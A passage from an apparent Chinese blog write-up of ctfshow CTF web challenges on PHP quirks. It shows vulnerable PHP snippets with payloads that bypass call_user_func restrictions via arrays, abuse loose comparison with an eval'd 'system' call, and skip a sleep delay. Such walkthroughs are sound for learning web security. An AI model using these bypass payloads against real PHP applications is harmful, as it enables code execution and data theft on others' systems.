die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}


call_user_func($_POST['ctfshow']);

本题考查call_user_func()的使用,需要调用ctfshow类里的getFlag方法

调用方法如图所示
payload:

1
2
POST
ctfshow=ctfshow::getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

strripos()函数可被数组绕过
所以payload:

1
2
POST
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

tip

1
2
3
var_dump('a' == 0);	//bool(true)
var_dump('1a' == 1); //bool(true)
var_dump('12a' == 1); //bool(false)
  • 会出现上面的结果是因为字符串在和数字比较的时候会将字符串转化为数字,比如a转换失败成False,False又和0弱类型比较是相等的,所以第一个是true。

  • 但是如果字符串是以数字开头的,那么就会转成这个数字再做比较,所以第二个也是true,第三个则是因为转成数字后变成了12,不等于1,则为false。

所以我们拼凑函数,凑出结果为0或false或NULL的,需要intval($code)的值为0

paylaod:

1
f1=system&f2=system

string system( string $command[, int &$return_var] )
成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。

web142

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

关键函数sleep(),sleep() 函数延迟代码执行若干秒
输入v1为数字,若v1为1都要延迟很多很多秒,那不如直接让v1=0
payload:

1
?v1=0

php特性
http://example.com/2023/09/14/phptexin/
作者
奇怪的奇怪
发布于
2023年9月14日
许可协议